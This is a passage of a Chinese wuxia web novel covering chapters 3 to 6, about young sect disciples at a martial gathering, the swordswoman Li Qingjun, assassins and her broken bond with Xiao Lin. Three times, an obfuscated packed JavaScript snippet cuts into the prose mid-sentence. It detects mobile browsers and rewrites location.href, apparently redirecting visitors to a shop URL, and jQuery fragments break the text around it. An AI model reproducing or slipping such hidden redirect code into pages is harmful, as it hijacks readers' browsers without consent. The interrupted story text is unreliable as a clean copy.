“不错,是个可塑之才。”李青筠也不计较,随手将断枝一抛,在她肩头拍了拍,转向众人,“既然我的剑已被这位小友斩断,那比武也就到此为止吧。若打得不尽兴,各位尽管来月下十九峰,青筠奉陪到底!” 她拱手,将礼行得张扬又矜骄,随后飞身离去。 程奚听见老头低低叹了一句:“……现在的后生啊,恃才傲物。” 李青筠这人的确恃才傲物,孔雀开屏似的毫不自谦。她于武学一道登峰造极,不慢待任何一个对手,不藏私,堪称光明磊落,甚至光明磊落得有些过了头。但可惜,此人行事还是多多少少缺些君子之风,因此武林之中对她向来是毁誉参半。 —— “她就是这样一个人。”程奚拍了拍小师妹的头,“小玉你看,李青筠并非你想象中行得端坐得正的大侠。若你只是仰慕她的名号,实在不必千里迢迢专程去见;若想参悟她的剑法,让你师姐教你就足够了。” “可、可是……”万俟玉打了个上气不接下气的哭嗝,“旁人说的,都是传闻中的竹影断虹,我没有亲眼见过,所以我才不信!” 程奚嘴皮子都说破了劝不动这小祖宗,只能朝程灵无奈地摊了摊手,悄悄作口型道:“我没招了,你来劝吧。” 程灵行事向来简单粗暴,根本不会与万俟玉白费口舌。她拿刀鞘在万俟玉后背一敲,只说了一句话。 “三年前的武林盟会,花褪残红杀了十一人。” 若说李青筠是块肉,那花褪残红就是一条盯着肉穷追不舍的毒蛇。也不知双方到底有多深的旧怨,前一波刺客死在李青筠剑下,很快就有后一波跟上来,前赴后继、锲而不舍,令人感动。明知会有刺客,盟会也每次都大张旗鼓地排查,却还是根本找不出花褪残红的踪迹,只能被动地等着李青筠这块肉现身,随后引蛇出洞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334313|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六年前程奚程灵二人在场的凉州武威山盟会上只有一人无辜惨死;而三年前的并州太行山盟会中,花褪残红埋了炸药,使十一人身死,数十人重伤。 幸而程灵那时闭关错过了盟会,否则后果不堪设想。 不知今年那些刺客又会使出什么手段,左右程灵不会带万俟玉一个不到十岁的孩子去冒险。 万俟玉瘪着嘴,哭得更来劲了:“呜呜呜……师傅还在闭关,你们又要扔下我一个人呜哇哇哇哇哇哇!” “没有人管你,那不是很好吗?”程奚笑得没心没肺,“不用练武,每天吃了睡睡了吃——” 话未说完,他的后脑勺忽然挨了不轻不重的一掌。 随即,一道比程灵还要冷上数倍的声音,在他身后斥道:“不思进取。” 程奚顿时像被掐住脖子的鸡,牢牢闭上了嘴。那边万俟玉也不敢嚎了,哭声戛然而止。 程灵朝来人行了一礼,问道:“师傅,您怎么出关了?” “暂时。” 放青崖言简意赅地说罢,顺手拿起程奚的胳膊,双指在他脉门轻轻一扣。 ——完蛋了! 程奚死死闭上眼睛,等待斥责声如约而至。 果然,他后脑勺挨了更重的一掌。 “这么多年,你竟毫无长进!” 声音染上几分薄怒,却已经足够让程奚双腿一软,“扑通”跪在地上。 万俟玉和他沆瀣一气,也是个“不思进取”“毫无长进”的小废物点心。见师兄跪了,她也连忙紧随其后,瑟瑟发抖地跪下认错。 放青崖一蹙眉:“你跪什么?” “师、师傅,我……我……”万俟玉支支吾吾半晌,捡了个最不要紧的错处坦白,“我不该缠着师姐,非要去幽州。” “幽州?” 放青崖长年闭关,不问世事,唯一还敢说话的程灵适时解释道:“回师傅,此次武林盟会定址幽州。” “幽州何处?”放青崖问。 程灵答:“月下飞天镜。” 听到这几个字的一瞬间,放青崖眉心微动,不过很快就恢复成了面无表情。她看向万俟玉:“你去作甚?” 万俟玉不敢与她对视,低下头唯唯诺诺地说了实话:“回师傅,我想……想去看竹影断虹。” 她说完这句话之后,逼仄的小屋中顿时十分安静。 放青崖最厌恶什么,师兄妹三人都再清楚不过。 ——哗众取宠,招摇过市。 偏偏那李青筠在这一点上可谓是登峰造极。 不仅如此,放青崖还严令禁止她们随意与武林中人比试。那次仗着师傅不在,程灵与李青筠比了一场武,回来之后竟足足被罚了三天三夜的马步。 要知道师门三人中只有程灵天赋异禀,有机会传承放青崖的刀法,说是师门独苗也不为过,师傅居然舍得狠罚她,一看就是动了大怒。 所以去看李青筠比武,绝无可能。与李青筠比武,更无可能。 见一时无人说话,万俟玉慌了神,哆哆嗦嗦地抬手抓住放青崖的衣角,连声道:“师傅不要动怒,我会乖乖在家待着练武,绝不偷懒!” 放青崖忽然反握着她的手臂,将她提溜起身站好。 “去吧。” 万俟玉愣了愣:“……师傅?” 放青崖点了点头,转身离去。她极少出关,偶尔想起来自己的三个便宜徒弟,也都是看一眼便走,不会多说一个字的废话。因此她们对这个不苟言笑的师傅只有敬畏,并不亲近。 也不知师傅今日吃错了什么药,居然破天荒地说了好几句话,甚至还亲口同意万俟玉随二人一道去幽州。 师兄妹三人一动不动地怔了许久,万俟玉才小心翼翼地问:“师傅这是……同意了?” 程灵向来将师傅的话奉为圭臬,既然师傅让万俟玉同去,她自然不会有任何异议,点了点头道:“收拾行囊,我们不日启程。” 万俟玉欢呼一声,就要蹦跶着回屋去,却被程奚一把拽住。 “小玉,拉我一把。”还跪在地上的程奚龇牙咧嘴,“腿跪麻了!” 4. 第 4 章 第一次踏出从小生活到大的天姥山时,万俟玉心中没有不舍,反而满是雀跃。 “师姐师姐,我们怎么去幽州?骑马吗?还是坐车?” 程灵背着行囊,回首望了一眼绵延不绝的天姥山,才转头对万俟玉说:“走着去。” 程奚和万俟玉二人异口同声地大喊:“——走着去?!” “是。” 万俟玉一听要活生生走上三百多里地,第一个不乐意,嘴一瘪就要胡搅蛮缠。然而程灵根本不会惯着她,甚至连看都没看她一眼,已经率先踏上一条通往山下城镇的石子路,远远将二人抛在身后。 “唉,走吧走吧。” 程奚最清楚师妹说一不二的脾气,认命地跟了上去。万俟玉气得就地躺下打了两个滚,见没人理自己,荒郊野岭的也有些害怕,只能灰溜溜爬起来去追她师兄。 “师兄!”她气势汹汹大喊一声,三两步追上去,随即一跃而起,双手抱住程奚的脖颈,猴子似的挂到了他背上,“你背我!” 程奚猝不及防,差点被勒得背过气去,连忙托着万俟玉的腿往上一颠:“小玉,你要谋杀亲师兄啊。” 万俟玉赖在她师兄背上,腿是闲了,嘴却一刻不闲地在程奚耳边叭叭个不停。 “师兄,你说月下十九峰大不大?能不能放下我们这么多人?我会不会像你和师姐当年一样,遇见竹影断虹啊?” “恐怕遇见花褪残红的可能性更大些。” “师兄,你说如果竹影断虹也想要我当徒弟,我要不要答应?” “绝无这种可能。” “竹影断虹到底长什么样子啊?她为什么不用自己的真面目?她为什么那么讨厌肖大侠,我觉得肖大侠是个好人,我还想学他的无归刀法呢。” “李青筠要是知道你脚踏两条船,非得吊着抽你一顿。” “……” 三人赶了五天的路,终于由秦州向东北进入幽州境。幽州地势奇特,初秋时节已是寒气彻骨,穿过最后一片即将丰收的平原稻田,远处是一座拔地而起的山脉,最高处的山峰终年积雪,万俟玉数了数,不多不少,正是十九座。 她好奇地问道:“师姐,月下十九峰为什么要分成十九峰啊?” 程灵说:“十八般武艺,每峰各专一道,剩下一个是主峰。” “那我们是要去主峰参加盟会?”程奚手搭凉棚远远一望,“想来就是最高的那一座了。” 三人行至山脚,发现早有络绎不绝的前人踏出了一条小径。她们自小就在山里长大,天姥山险峻不在十九峰之下,爬一座山也并非难事,途中还有不少同行人,说说笑笑,不到四个时辰就抵达了主峰。 这次来得早,盟会比武还未正式开始。月下飞天镜不愧是武林第一大门派,竟在主峰之上大摆流水席款待天下来客。 万俟玉一见有好吃的,如同脱缰野马一样扔下师姐师兄就要往里冲,却在入口处被两名灰衣青年伸手拦下。 “这位小友,请先接受盘查。” 程奚连忙跟上来,打圆场道:“她年纪还小,不懂规矩。请问两位前辈,往年盟会从不设限,这次为何多了盘查?” 其中一个女子嘴快道:“自然是为了防那群杀千刀的混进来。” 另一个男子替她进行官方解释:“师姑的意思是,月下飞天镜地界,不容花褪残红作乱。请伸出手来,师姑会为各位探脉。” 程奚还未开口,身后已有人出声质疑:“脉门是要紧之处,岂能由你们随意探查?” 灰衣女子将眉一竖,冷笑道:“怕我害你不成?就你那点功夫我还不屑于——” “师姑的意思是,”灰衣男子连忙打断她,“请各位放心,我们没有冒犯之意,更不会行加害之举。探脉意在查验各位内力是否有异。若是不愿,各位可自行离开。” 万俟玉和程奚本就没有修炼过内力,灰衣女子一探,大概当二人是来凑热闹的普通人,随手一挥就放她们进去。待轮到程灵时,她却忽然奇怪地“咦”了一声。 程奚被她“咦”得心头一跳,生怕出什么问题,回头问道:“怎么了,前辈?” “有意思。”女子重新探了探程灵的脉门,“你的经脉强壮有力,分明是个习武之人,且武功不低,却只一点奇怪——没有内力。” 程灵点点头,说:“是。” “看你年纪,该有十七八了,为何不练内力?” 程灵说:“师傅没教。” “我从前听过,武林中有人经脉不通,只能走体术一路,摒弃内力,专锻躯体。你师傅也是如此?” 程灵摇头:“不知。” 她答话向来是一戳一蹦跶,程奚看不下去了,出言解释道:“我们与师傅不常见面,她只教过我们刀法。不过师傅她看上去孱弱,实在不像练体术的人。” “那是因为,”程灵顿了顿,低声说,“她受了重伤。” 程奚一愣,正想追问,忽然被人打断。 “——前面的能不能快点?怎么还聊上天了!” “催什么?姑奶奶我就爱找人聊天!”灰衣女子骂道,“你爱等就等,不等就滚!” “小师姑,慎言!” 同她一道的灰衣男子焦头烂额地劝完这边劝那边:“几位小友先请进吧。各位稍候,只是探脉,很快便好。” 女子“哼”了一声,摆摆手道:“罢了,你们进吧。” 万俟玉早就先程奚程灵一步,欢呼一声跑入了人山人海的流水席中。程奚一晃眼就找不见她的身影,正急得四处张望,灰衣女子遥遥一瞥,为他指了一个地方:“她去那里了。” “多谢前辈。”程奚一抱拳,照她所指挤入人堆中,果然在那处发现了端着一盘桃酥啃的万俟玉。 他照万俟玉后脑勺一拍:“乱跑什么?信不信我喊你师姐揍你!” 程灵抱臂跟在后面,默默亮了亮腰侧的刀鞘。 万俟玉一缩脑袋,嚼着桃酥口齿不清地抱怨:“你就会威胁我!” “我不管你,万一你被花褪残红抓走了也别找我哭。” “那边都有人挨个检查过了,怕什么。”万俟玉伸手给她师兄嘴里也塞了块桃酥,“师兄你就安心吧,这儿可是月下十九峰,不会出问题的啦。” “你就在我们周围一尺内的地方,不要随意走动,听见没?” 程奚叮嘱完,想起方才未问出口的话,拽了拽程灵的袖子:“师妹,你方才说,师傅身负重伤……是什么意思?” “字面意思。”程灵说。 “我竟从来不知道。”程奚怔怔道,“师傅她受了什么伤?何时的伤?现在恢复得如何?” 程灵看了他一眼,摇头:“我也不知。师傅从来不与我们说这些,我只是偶然看到她呕血。” 程奚有些懊恼:“早知这样,我就是装也要装出好好练武的样子,少让师傅动怒。前几日临走时我还惹她生了一场气,真是该死。” “回去之后,你尽可——” 话未说完,程灵耳尖一动,像是听到了什么动静,忽然将头一偏,紧盯着入口处。 “怎么了,师妹?” 程奚下意识顺着她的目光看去,见入口处那个灰衣女子正将手扣在一个慈眉善目的老和尚腕上。 “那是恒山悬空寺的苦行僧吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334314|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”程奚挠了挠头发,感慨道,“这么大年纪还要来参加盟会啊。” 谁知程灵忽然将手扶到腰侧刀柄,低声道:“那人不对。” 也不知探脉的灰衣女子有没有意识到什么。她面上看不出异样,反而露出一个微笑:“原来是悬空寺的秃驴。你们悬空寺不是与青鹤师兄有世仇吗?怎么舍得来了?” “小师姑,你别这样说……” 灰衣女子难得听劝,耸耸肩,松开老和尚的手腕:“好吧,我不说了。来者是客,请吧。” 她说着,做了一个请的动作,侧身为老和尚让开通道。 就这么放进来了?! 程奚无措地看向程灵,见她警惕更甚,脊背微弓,已经是随时准备进攻的姿态。她死死盯着老和尚的一举一动,头也顾不上回地叮嘱:“师兄,看好小玉!” 他从来不会质疑程灵的判断,即使入口处负责探查的灰衣女子没什么特别反应。周围的人仍在热热闹闹宴饮,没人注意一个老态龙钟的和尚。 万俟玉没心没肺地问:“怎么啦师姐?” 程奚连忙一把将万俟玉捞到身前,捂住她不省心的嘴。 ——就在这时,余光中忽有银光一闪而过! 程奚愕然抬头看去,恰好撞见刀锋从老和尚身后穿心而出的一幕。 随后,那柄长刀被灰衣女子毫不留情地抽出,老和尚双眼圆瞪,连遗言都来不及说就已经倒在地上,没了气息。 女子又在尸身的几处大穴连刺数剑,确定人死透了,这才随手将刀扔回她师侄的刀鞘之中,擦了擦掌心。 不少人都亲眼看到了这一幕,见月下十九峰的门生突然暴起杀人,顿时一片哗然! “就、就算有仇,也不能当堂杀人吧……” “连人都能想杀就杀,这月下十九峰还有没有王法?” 灰衣男子蹙起眉,俯身探了探老和尚的鼻息,回头道:“师姑,他是……” 见师姑点了点头,他才松了一口气,站起身朗声道:“各位稍安勿躁,此人是花褪残红的刺客。” “花褪残红?!” “这些人果然还是来了吗……” 然而有灰衣女子那番话在先,许多人反而将信将疑起来:“她说是便是吗?万一是公报私仇呢?” “各位有所不知,花褪残红修炼内功的方式与我们这些寻常习武之人不同。我这位师姐之所以要探脉,正是为了分辨刺客,保障各位的安全。” 一个青城山道士打扮的中年人看向灰衣女子:“你这后生倒是说说,有何不同?有分辨刺客的法子却为何藏着掖着?” “说不出来。”灰衣女子说,“人体脉络繁杂,修习内功又各不相同,失之毫厘差之千里,无法广而传之。” “那岂不是你想杀谁,就能将谁指为刺客?” 女子唇角一弯,扯出一个笑容:“我想杀谁杀就是了,何必多此一举?” “——小师姑的意思是,她不会行此假公济私之举。”灰衣男子十分心累地扶额,“花褪残红培养刺客以速为要,其内功会在几处大穴逆向流转,以此激发人体潜能,因此那些刺客大多短命、易走火入魔。月下十九峰并非有意藏私,只不过那内功异常之处微乎其微,除非亲自与花褪残红交过手,才有把握探明。” 道士一甩拂尘,面色不虞:“你当我们是傻的?但凡与花褪残红交过手的,坟头草都有三尺高了!哦对了,除了那个竹影断虹——” 他说着,忽然一顿。 竹影断虹? 他猛地抬头,恰好与灰衣女子似笑非笑的目光相撞。 “你就是……李青筠?!” 5. 第 5 章 程奚发着愣看完了全程,面无表情地想,李青筠此人多少是有点大病,总爱搞这种扮猪吃老虎的出场情节。 上次是这样,这次也是。六年时间,此人竟没有任何改变。 忽有一人在他身旁,语气颇为感慨地说:“小师姑向来如此。” 程奚不知身边何时站了个人,吓了一跳,猛地转头,才发现是那个与李青筠一道在入口查验的灰衣男子。 他将李青筠唤为“师姑”,大概是哪位峰主的徒弟。 灰衣男子低头一看,温和道:“是你们啊,三位小友。” 程奚朝他抱拳一礼:“承蒙前辈关照。” “你们远道而来,月下十九峰合该好好招待。”灰衣男子笑了笑,“我是刀峰峰主纪明川,幸会。” 峰主?程奚一愣。 这纪明川虽然老成持重,但看上去也就二十出头的年纪,比自己大不了多少。更何况他还是李青筠的师侄,怎么已经成一峰之主了? “原来前辈是刀峰的峰主。好巧,我们几人也是学刀的。”程奚没话找话说,胡乱寒暄着,“不知这次盟会上,能否有幸领略纪峰主的刀法?” “若是盟会在别处举办,我自当虚位以待。”纪明川苦笑了一声,“可惜在小师姑眼皮子底下,我实在不敢拔刀。” “咦?这是为何?”程奚看出了八卦的苗头,好奇地追问,“李前辈为了尽地主之谊,不许各位峰主上台比武吗?” 这么想也有些道理。月下十九峰的峰主都是个顶个的高手,在场众人恐怕罕有敌手。在自家地盘上把来宾打得落花流水,传出去的确不太好听。 ——然而李青筠大概不是这样想的。 纪明川摇头:“小师姑只是不喜欢我的刀。” “刀?一把刀有什么喜不喜欢的?” 程奚歪过脑袋,打量了一下纪明川的佩刀。刀长三尺,周身银白,寒光可鉴。方才杀那老和尚时骤然出鞘,有铮鸣声,显然是把好刀,剑鞘上还刻着“无归”二字。 “无归”?有些耳熟,在哪里听说过来着…… 还没等他想起来,纪明川已出声解释:“这是横刀‘无归’,是我师傅所赠。” “无归?”万俟玉忽然钻了颗脑袋进来,“肖凛肖大侠的刀法不就叫无归嘛!” 一说“肖凛”,程奚恍然想起曾经听过的传闻:李青筠与肖凛不和。 ……多大仇啊,还要恨屋及乌,连肖凛的刀都讨厌。 可方才她拔刀杀人时,看上去分明还挺顺手。 “纪峰主的师傅居然是肖大侠?原来他也出身月下十九峰吗?” 程奚头回听说还有这么一出。武林中帮派众多,肖凛自“寒鉴分江”护送楚王世子之事名满天下以来,却一直是独来独往,许多门派以长老之位相邀,但尽数被肖凛拒绝。 “都是些往事了。”纪明川说,“师傅与青鹤师叔、小师姑等人同为‘青’字辈,曾任刀峰峰主。十二年前,师傅将这把刀与峰主之位传给我,随即自请除名,立誓永不回山。”纪明川伸出手,轻抚刀鞘上的“无归”二字,“无归……当真是自此一去,再无归期。” 看他这反应,显然对自己的师傅颇为思念。程奚只好安慰道:“毕竟人生在世,您与肖大侠总有再见之日,纪峰主不必太过伤怀。” “十二年前,我也只有十多岁,一心为得了师傅的刀欢喜,哪里懂什么离别。”纪明川自嘲一笑,抬眼看向比武台上的那道身影,意有所指道,“……只怕伤心的另有其人罢了。” 程奚顺着他的目光看去,见李青筠正大笑着与一个丐帮打扮的女子勾肩搭背。 “好久不见,朴七!最近又在哪里讨饭?” 名为“朴七”的丐帮女子显然与她颇为相熟,笑骂道:“讨你个头!老娘近来棍法又有进益,专程来十九峰打你这条狗!” “哈哈哈哈,好说好说,稍后我第一个向你讨教,如何?” ……谁伤心? 李青筠? 开什么玩笑,她看着像伤心的样子吗? 更何况她不是和肖凛有仇吗?肖凛自请除名离山,李青筠大概高兴还来不及吧。 纪明川似乎看出了他的疑惑,但又不想对着外人咀嚼长辈之间那些过往,于是另说起了一句看似无关的话:“小友,你从前可听说过星陨之事?” 程奚正要张口,万俟玉先插嘴道:“这个我知道!有人说是天上的星星掉下来,在地上砸了好大一个坑。” “正是。”纪明川点头,“星陨而落,化为陨铁。陨铁坚硬,无法用寻常之法炼化,然而有一位前辈徒手打磨千日,陨铁终成利刃。” 他将腰侧的刀拿起:“‘无归’正是陨铁制成。” 一直在旁边听着的程灵忽然开口说:“有所耳闻。” 程奚睨她:“你不是两耳不闻窗外事吗?又是从哪里听说的?” “天下刀客,谁不知‘无归’之名?”程灵将目光移向纪明川手中的刀,“传闻无归削铁如泥,坚硬无匹,不料今日竟有幸得见。” 程奚居然从她看向刀的眼神里看出了一丝温情脉脉,不由打了个寒颤。 纪明川叹息道:“可惜无归不得其主。我天资愚钝,再好的刀,也只能随我泯然众人了。” “怎么会,纪峰主谦虚了。”程奚干笑着说,“这里可是月下十九峰,怎么会有天资愚钝之人?” 真正天资愚钝的正站在你面前呢,哈哈。 “月下十九峰并不如你所想那般……罢了,不说这个。”纪明川笑了笑,“你们有所不知,其实当年与‘无归’一同出世的还有一柄剑,名为‘同往’。” “‘同往’?没听说过。既然与‘无归’同源而生,也该名满天下,为何却不见这柄剑出世?” “与‘无归’正相反,‘同往’得其主,却不得其时。”纪明川说,“它早已折在了十二年前的一个雨夜。” 十二年前?雨夜? 程奚忽然想起什么,恍然大悟:“它的主人难道是……” 他与纪明川一同看向比武台上。 ——李青筠。 李青筠吐掉一口血,靠坐在竹林下,将手中的剑横放膝前。 “同往,同往,你也有卷刃的一天啊。” 她指尖轻抚过不再锋利的剑刃,低声自语。 李青筠忽然想起这柄剑出世的那一日。铸剑之人将她与肖青凛唤到河边,脚下是大大小小不计其数被磨穿的顽石。 “为你们二人的刀剑取个名吧。” 她话音未落,李青筠已雀跃着抢白:“我早就想好了,大师姐,我的剑要叫‘天下无敌’,他的刀叫‘举世无双’!” 大师姐将目光投向肖青凛,果不其然,他还是那副对李青筠言听计从的模样,点头说:“大师姐,我听她的。” “难听。”大师姐摇了摇头,低咳一声,“还是听我的吧。青筠,将手给我。” 李青筠撅着嘴,不太情愿地并起两指,由大师姐攥着她的手,以内力为锋,在剑身上缓缓刻下两个字。 “同……往……”李青筠吹去铁屑,端详了一阵,“好普通的名字,听起来一点也不像武林第一高手用的剑!” 大师姐没搭理她,任由她在一旁嘟囔。随即又唤肖青凛近前,在刀身刻下“无归”二字。 李青筠挤过来大声抱怨:“大师姐,这个刀名好不吉利!而且听着像‘乌龟’!” “有吗?”大师姐捏了捏她稚气未脱的脸颊肉,悠悠叹道,“同往樽前莫同惘,别无归处是吾归。青筠,你终有一日会听懂这两个名字的。” ……是的,终有一日。 她听懂了。 “同往,你是知道自己的铸剑人已死,也想随她去吗?” 竹叶被踏碎的沙沙声从很远的地方传入耳中,李青筠最后将剑身上的“同往”二字描摹一遍,随即两手各执一端,浑厚的内力由丹田传送至双臂,最后积聚于掌心。 “那就去吧。” 话音刚落,李青筠双臂全力一震,同往应声而断! 生生折断陨铁铸成的剑,几乎用尽了她丹田之中剩余不多的内力,余波未平,卷起狂风乱雨,方圆十几丈内的竹节纷纷伏倒,寂静的竹林一时间万分喧闹。 “有动静,人在那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334315|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边!” “追!” 李青筠听到几声低喝。断作两截的同往落在地上,已化为废铁。她随手捡过一根竹竿,支撑着自己站起身。 无人同往,无剑同往。 花褪残红的刺客正从四面八方朝她奔来。 但她未必会输。 这群刺客向来不会多言,见李青筠手无寸铁,交换过眼神之后便齐齐围攻而上。他们不仅是训练有素的好手,互相之间更是配合无间。二十人中先前已有五人为她所杀,三人近前短兵相接,五人在几步之外用暗器掣肘,剩余七人则围停在十丈远的地方随时填补空缺。 花褪残红的武功路数尽是杀招,招招直指命门。李青筠折竹为剑,与那三个刺客缠斗,三人各司其职,一人攻前,一人攻后,还有一个仅有孩童身高的刺客专攻下盘。 双方一时之间都无法抓住对方的破绽。不知为何,这些刺客竟好像越战越勇,而李青筠丹田中的内力却正在缓缓枯竭。 就算杀不了,花褪残红也迟早会将她耗死。 这样下去不是办法。 李青筠咽下喉间的血腥气,闪身险险躲开矮个子自下而上的一刀,手中竹剑一旋,重击在他后脑。 矮个子闷哼一声,头晕眼花地跪趴在地。李青筠正待趁机杀他,耳尖一动,却捕捉到一道极其微小的破空声! 她余光一瞥,见一枚飞刀疾旋而来,就下意识提剑去挡。然而她手中的竹竿到底不比剑坚硬,竟被那飞刀斜削下一截来。 李青筠忽然“哈”地一笑,偏头看向飞刀袭来的方向,朗声道:“多谢!” “谢”字脱口时,她已提膝踢向被削落的一节竹竿。那节竹竿以毫不逊于飞刀的力道直直穿过矮个刺客的咽喉,竟仍然去势不减,斜飞着插入了另一人的眉心! 下一瞬,李青筠头也不回地将竹剑往身后一刺。 攻她身后的人猝不及防被捅穿了心口,手中峨眉刺咣当落地。 仅仅一息之间,已有三人毙命。 李青筠甩了甩竹剑上的血水,一挑眉笑道:“再来?” 花褪残红的刺客从不畏死,更不会为同伴之死伤怀。 她说再来,那便再来。 又有两个刺客上前,一人仍是峨眉刺,另一人执横刀与她对峙。 李青筠看见那柄横刀,倏地想起了一些不愉快的过往。她眉心一蹙,冷声斥他:“谁许你用刀?!” 横刀刺客觉得莫名其妙,但仍将她的话置之不理,抬手便劈—— “咔”地一声,刀锋被竹剑架住,却也入木三分,一时难以拔出。 李青筠忽然松手,在横刀刺客肩头借力一踩,高高跃起,恰好躲过身后峨眉刺一击。身后刺客连忙卸力后仰,终于在眼珠距离刀尖仅有一寸的位置停下了去势。 他还未来得及松一口气,后背却遭人一踢。 那一脚不算重,甚至堪称轻灵。可就是这轻轻一脚,将他向前送了一寸,死在了自己同伴的刀下! 李青筠轻飘飘落地,负剑而笑:“这么一把好刀却沾了友人的血,真是可惜。” 横刀刺客将刀抽回,竟然破天荒地开了口。 “沾了谁的血都不要紧。单刃的刀,向来只保自己。” 他的声音粗哑难听,落入李青筠耳中,却恍惚间与一道温润的少年音重叠。 “青筠,我的刀刃永远不会朝向你。” “你怕输就直说,少跟我东扯西扯。” “……我是认真的。” “我也是认真的!哎,肖青凛,你别走啊!你就用无归和我打一场呗,我让你一只手行不行?” 她正愣神间,忽然察觉一阵寒气迎面逼近。 花褪残红的独门暗器,“吹面不寒”! 李青筠目光骤凝于那一点针尖,针尖淬过寒毒,此时已经距离极近。她无法用竹剑挡下,只能凭借多年习武下意识的反应侧身躲开。 毒针擦着脸颊而过,穿透耳垂,直直钉在身后的一根竹身之上。 ——李青筠终究未能完全躲过吹面不寒。 因为,她的胸口不知何时已被一刀穿透。 6. 第 6 章 不,不对! 她当年的确被吹面不寒刺伤了耳垂,但绝没有中刀! 她分明将那二十刺客尽数杀了,还因此成就“竹影断虹”之名。 “彼时正是雨夜,年仅十六的李青筠被花褪残红追杀至一片竹林。剑已卷刃,穷途末路,她索性折竹为剑,死战一夜,待刺客被杀尽时恰好天明雨霁,而竹林间已是晨雾氤氲,映出一道血色长虹。” 江湖之中向来是这样传颂的,李青筠记得一字不差。 她心想,一定是哪里出了问题。 记忆出错吗?又或者只是一场噩梦? 可她左胸口的刀,却切切实实不是假的。 李青筠的目光顺着刀刃缓缓向上攀升,她看见自己的血汩汩涌出,看见握着刀柄、微微发颤的手,最后看到了一张多年未见,已经有些陌生的面容。 “你……?” “……我食言了,青筠。”他说,“对不起,你必须死。” 李青筠张了张口,却只咳出一口血。血滴在衣襟之上,对面的人反手将刀抽离,她的心口只剩下一个凉飕飕漏风的洞。 一切的血、肉、泪,都从这个洞四散而逃。 李青筠察觉出自己正在仰面倒下,很慢,很慢。她看得清比武台下众人惊慌失措的神情,看见纪明川匆匆上前,打掉了那个人手里的刀,又惊又怒地质问:“你为何要这样做?!” 她也想问。 肖凛,你为何这样做? — “可惜了。”纪明川说。 “是可惜。”程奚唉声叹气,“将一块陨铁磨成利刃得有多难啊,一把好剑居然就这么折了。” “当年负气之举,也不知小师姑有没有后悔过。”纪明川叹息一声,“罢了,今日是我多言,这些话小友就当作过耳云烟吧。” 程奚就爱听这些恩怨情仇的故事,哪里会觉得他话多,只嫌纪明川说得不够细致。 就比如,肖凛为何离山?李青筠为何会被花褪残红追杀?二人之间又为何反目成仇? 可是他又不好追问,生怕知道些什么不该知道的事情,给自己惹祸上身。 纪明川看了一眼台上,对程奚道:“比武就要开始了,我先失陪,几位小友自便。” 他还要去助不靠谱的小师姑主持盟会,于是匆匆离去。 程奚问程灵:“这次你上吗?” 六年前擅自上台比武,被师傅罚的马步还历历在目。程灵仅仅犹豫了一下,就低声说道:“若能与竹影断虹再比一场,我甘愿受罚。” “受什么罚。你也是死脑筋,回头和师傅撒个谎不就行了?”程奚拍拍她的肩膀,“放心,师兄不会出卖你。” 万俟玉也连忙表忠心:“师姐放心,我也不会!” 程灵摇头:“不必了。违抗师命,受罚也是应当的。” “你当时才十岁,就被罚了三天三夜的马步。不知道师傅这次打算罚你多久?”程奚光是设想,就被吓得寒毛直竖,“少说得……三个月?” “师姐要不眠不休扎三个月的马步?!”万俟玉也被她师兄的危言耸听吓到,“那岂不是得化成一尊石像了!” “胡乱揣测。”程灵似乎觉得有些好笑,“师傅自有分寸,不会为罚而罚。” “——那是对你。”程奚撇撇嘴,“她老人家罚起我来可从不心慈手软,回回把我往死里整。” 万俟玉咧嘴笑他:“还不是因为师兄你总偷懒。师傅最讨厌偷懒耍滑的人了!” “小玉,这么多人呢,你少揭我老底。”程奚伸手去捂她的嘴。 二人闹了一通,程奚才忽然想起正事:“咦,过去这么久了,比武为何还不开始?” 程灵抱剑看向比武台:“李青筠未动。” 她说的“未动”十分贴切,因为李青筠真的就是静静站在台上,双眼盯着对面的人,一动不动。 程奚眯着眼努力辨认:“对面那人是谁?何时冒出来的?” 万俟玉急着看热闹,猴子似的扒在她师兄身上往上爬,终于一屁股坐到程奚肩上,看了一眼就惊呼出声:“是肖大侠!” “肖凛?”程奚一愣,“方才纪峰主不是说了,肖大侠立誓不会踏足月下十九峰吗?小玉,你是不是认错了?” “师兄,是你脸盲,我又不盲。”万俟玉不满地捶他一拳,“那个人和画本里的肖大侠长得一模一样!” 她的声音着实嘹亮,一嗓子把包括李青筠在内的所有人都喊得转头朝这边看过来。程奚手忙脚乱地把她脑袋往下按:“小玉,你小声一点!” 好在李青筠那边总算有了动静。 她难得不愿多言,只说了一个字:“滚。” 肖凛抿唇,将腰侧的刀柄攥紧又松开。他斟酌半晌,终于开口,声音艰涩:“……青筠,许久不见。” 